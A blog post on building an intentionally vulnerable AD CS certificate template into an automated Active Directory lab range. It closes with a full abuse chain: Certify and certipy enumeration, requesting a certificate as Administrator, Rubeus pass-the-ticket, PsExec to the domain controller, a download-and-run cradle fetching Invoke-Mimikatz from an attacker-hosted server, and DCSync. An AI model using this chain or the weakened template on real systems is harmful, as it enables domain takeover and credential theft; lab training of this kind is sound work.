Setting up AD CS in a range

Rich
7 min readNov 1, 2024

--

TL;DR How to setup AD CS in a range using Hyper-V and PowerShell Direct, and how to abuse it.

Background

I recently took a hands on exam that included AD CS abuse as part of a broader escalation path. Luckily I had seen AD CS at least once on TryHackMe, and thanks to a lot of Google and trial & error I was able to fumble my way through and pass.

I had been meaning to setup AD CS in the lab, and figured that including it in the second forest in Mishky’s AD Range would be a good way. Please note that I cannot take any credit for the attack itself, that’s all Nikil Mittal, Will Schroeder, Lee Christensen, and others who are much smarter than I am. All I did was work out how to automate the range setup that includes an exploitable AD CS.

Spoiler Alert

If you plan on trying out Mishky’s AD Range, particularly the second forest we are testing out and adding shortly, then do NOT read this howto. This exercise was conducted as part of setting up, testing, and verifying the PS1s that automates spinning up Research.local. All usernames and passwords shown are in those configs.

AD CS & potential issues

As Will Schroeder said, AD CS isn’t insecure by default. It is however easy to misconfigure, particularly if a past admin who set it up wasn’t very security minded and was ‘just making it work’. Everyone should read SpecterOps whitepaper or at least their overview of it. They did a better job than I ever could explaining the background of AD CS, so I won’t re-invent the wheel here.

AD CS setup

Installing AD CS and spinning up a CA is simple. Just do

Install-WindowsFeature ADCS-Cert-Authority -IncludeManagementTools

$params = @{
CAType = "EnterpriseRootCA"
CryptoProviderName = "RSA#Microsoft Software Key Storage Provider"
KeyLength = 2048
HashAlgorithmName = "SHA256"
ValidityPeriod = "Years"
ValidityPeriodUnits = "5"
}

Install-AdcsCertificationAuthority @params -Force

As this is a range I simply made the DC the CA. Obviously in production you normally wouldn’t do this.

The trick is to create an intentionally vulnerable certificate template and publish it. This is relatively simple to do in the GUI. Once created the template can be exported, which of course means it can be utilized in an automated range setup.

Quoting TryHackMe, and Certified Pre-owned:

“Vulnerable templates have the following:

  • Client Authentication — The certificate can be used for Client Authentication.
  • CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT — The certificate template allows us to specify the Subject Alternative Name (SAN).
  • CTPRIVATEKEY_FLAG_EXPORTABLE_KEY — The certificate will be exportable with the private key.
  • Certificate Permissions — We have the required permissions to use the certificate template.”

I duplicated the ‘Web Server’ template and named it ‘HTTPsCertificates’. One can select ‘client authentication’ under the Extensions tab -> Application Policies.

Windows warns you if you select ‘Supply in the request’ for the SAN under the Subject Name tab.

‘Allow private key to be exported’ is under the Request Handling tab.

The permissions are not exported with the template. The rights that can be delegated to a user, thereby allowing them to abuse this template, are

ExtendedRight with GUID a05b8cc2–17bc-4802-a710-e7c15ab866a2 (Certificate-AutoEnrollment)
ExtendedRight with GUID 0e10c968–78fb-11d2–90d4–00c04f79dc55 (Certificate-Enrollment)
ReadProperty
GenericExecute

How did we know the exact GUIDs? Easy, I first set the rights in the GUI and then queried the object’s DACL. I then Googled the GUIDs just to confirm.

Import-Module ActiveDirectory
Set-Location AD:
$ADRoot = (Get-ADDomain).DistinguishedName

(Get-Acl "CN=HTTPsCertificates,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,$ADRoot").Access | Where-Object {$_.IdentityReference -like "*ADCS.Admin*"}

Templates are objects in AD after all, stored in the container seen above.

Export the template on the VM.

#Install Nu-Get & ADCSTemplate
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Install-PackageProvider -Name NuGet -Force
Install-Module -Name ADCSTemplate -Force
Install-Module -Name xAdcsDeployment -Force #Optional

Export-ADCSTemplate -DisplayName "HTTPsCertificates" > HTTPsCertificates.json

We can then save the exported template in the same place as the range config. This handy snippet enables a really useful Hyper-V feature and uploads the template to the VM.

Enable-VMIntegrationService "Guest Service Interface" -VMName "Research-DC"
Copy-VMFile "Research-DC" -SourcePath ".\HTTPsCertificates.json" -DestinationPath "C:\Users\Administrator\HTTPsCertificates.json" -CreateFullPath -FileSource Host

Then we put the below in a PS1 and run it via PowerShell Direct on the VM.

#Install Nu-Get & ADCSTemplate
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Install-PackageProvider -Name NuGet -Force
Install-Module -Name ADCSTemplate -Force
Install-Module -Name xAdcsDeployment -Force #Optional
New-ADCSTemplate -DisplayName "HTTPsCertificates" -JSON (Get-Content "C:\Users\Administrator\HTTPsCertificates.json" -Raw) -Publish

#Publish the Template
Import-Module ADCSAdministration
$TemplateName = "HTTPsCertificates"
Add-CATemplate -Name $TemplateName

Finally we set the permissions on this intentionally vulnerable template so it can be abused by members of the specified group.

Import-Module ActiveDirectory
Set-Location AD:
$ADRoot = (Get-ADDomain).DistinguishedName

#Give ADCSAdmins ReadProperty, GenericExecute, Autoenroll, Enroll on HTTPsCertificates
$victim = (Get-ADObject "CN=HTTPsCertificates,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,$ADRoot").DistinguishedName
$acl = Get-ACL $victim
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADGroup "ADCSAdmins").SID
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"ReadProperty","ALLOW",([GUID]("00000000–0000–0000–0000–000000000000")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"GenericExecute","ALLOW",([GUID]("00000000–0000–0000–0000–000000000000")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"ExtendedRight","ALLOW",([GUID]("a05b8cc2–17bc-4802-a710-e7c15ab866a2")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"ExtendedRight","ALLOW",([GUID]("0e10c968–78fb-11d2–90d4–00c04f79dc55")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))
#Apply above ACL rules
Set-ACL $victim $acl

One could of course get a bit sneakier using this in a range. Rather than use the exact rights required to enroll we could use ‘Dangerous Rights’ like WriteOwner, WriteDACL, etc. One can even abuse a non-vulnerable template by using GenericAll rights to change the template and make it vulnerable. Certipy has a function for this.

Enumerating AD CS templates

An attacker would enumerate AD CS templates after compromising an account like ADCS.Admin using Certify, Certipy-AD, or any other number of other handy tools. Certify is useful on Windows, Certipy is included in Kali.

.\CertifyII.exe find /vulnerable

On a sidenote, my copy is called ‘CertifyII.exe’ because the original copy of this tool that was included in the CRTP course tools was nonfunctional during my renewal exam. I quickly Googled, found it on GitHub, and grabbed a fresh, working copy. I found certipy-ad a bit more user friendly, but it’s good to know both as some exams force you to use Windows.

In certipy-ad just supply credentials and the IP and certipy does all the enumeration work for you. It even outputs data that can be ingested into BloodHound.

certipy-ad find -u 'adcs.admin@research.local' -p SuperSecretCertPassword12\!\@ -dc-ip 192.168.0.145 -vulnerable -enabled -old-bloodhound

Abusing the template

The entire attack can be performed from a compromised domain workstation, like the one our attacker moved laterally to and dumped credentials on in this exercise.

Tools used:

  • Certify
  • Openssl
  • Rubeus
  • HFS
  • Invoke-Mimikatz

HFS is optional, Invoke-Mimikatz can easily be hosted off Kali.

python3 -m http.server 80

The attacker can of course simply disable Defender as they have local admin on the compromised workstation, then drop the tools on the Desktop.

.\CertifyII.exe request /ca:Research-DC.research.local\research-RESEARCH-DC-CA /template:HTTPsCertificates /altname:Administrator

#copy/paste the output & save to cert.perm
.\openssl\openssl\openssl.exe pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Password12!@ [Enter twice to confirm]

.\Rubeus.exe asktgt /user:Administrator /certificate:C:\Users\ADCS.Admin\Desktop\cert.pfx /password:Password12!@ /ptt

.\PSTools\PsExec.exe \\Research-DC PowerShell
Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.0.146/Invoke-Mimi.ps1')
Invoke-Mimi -Command '"lsadump::dcsync /user:research\Administrator"'

Summary

This is all part of the second forest in Mishky’s AD Range. I didn’t want to just screw around with AD CS in the GUI, I wanted to incorporate it into our automated range setup. The PS1s that automates spinning up & configuring the second forest, as well as creating a trust relationship with the first forest, will be on our GitHub once we finish testing and verifying it. Stay tuned.

Again, I cannot take any credit for the enumeration or attack, I simply read and followed SpecterOps and Altered Security’s stuff. I only figured out how to create the template, export it, and work it into our IaC project, aka Mishky’s AD Range.

References

Certified Pre-Owner: https://posts.specterops.io/certified-pre-owned-d95910965cd2

AD trust relationships: https://learn.microsoft.com/en-us/entra/identity/domain-services/concepts-forest-trust

Create an AD trust: https://www.anujvarma.com/powershell-to-create-ad-trust/

AD CS GUI setup: https://www.virtuallyboring.com/setup-microsoft-active-directory-certificate-services-ad-cs/

Enable AD CS Root CA: https://learn.microsoft.com/en-us/powershell/module/adcsdeployment/install-adcscertificationauthority?view=windowsserver2022-ps

PowerShell PKI Module: https://www.pkisolutions.com/tools/pspki

Install NuGet: https://stackoverflow.com/questions/16657778/install-nuget-via-powershell-script

Add-CATemplate, publish a template: https://learn.microsoft.com/en-us/powershell/module/adcsadministration/add-catemplate?view=windowsserver2022-ps

How to enumerate AD CS: https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/

DCSync: https://tools.thehacker.recipes/mimikatz/modules/lsadump/dcsync

Abusing ‘Dangerous Rights’ on AD CS templates: https://github.com/daem0nc0re/Abusing_Weak_ACL_on_Certificate_Templates

--

--

Rich
Rich

Written by Rich

I work various IT jobs & like Windows domain security as a hobby. Most of what’s here is my notes from auditing or the lab.

No responses yet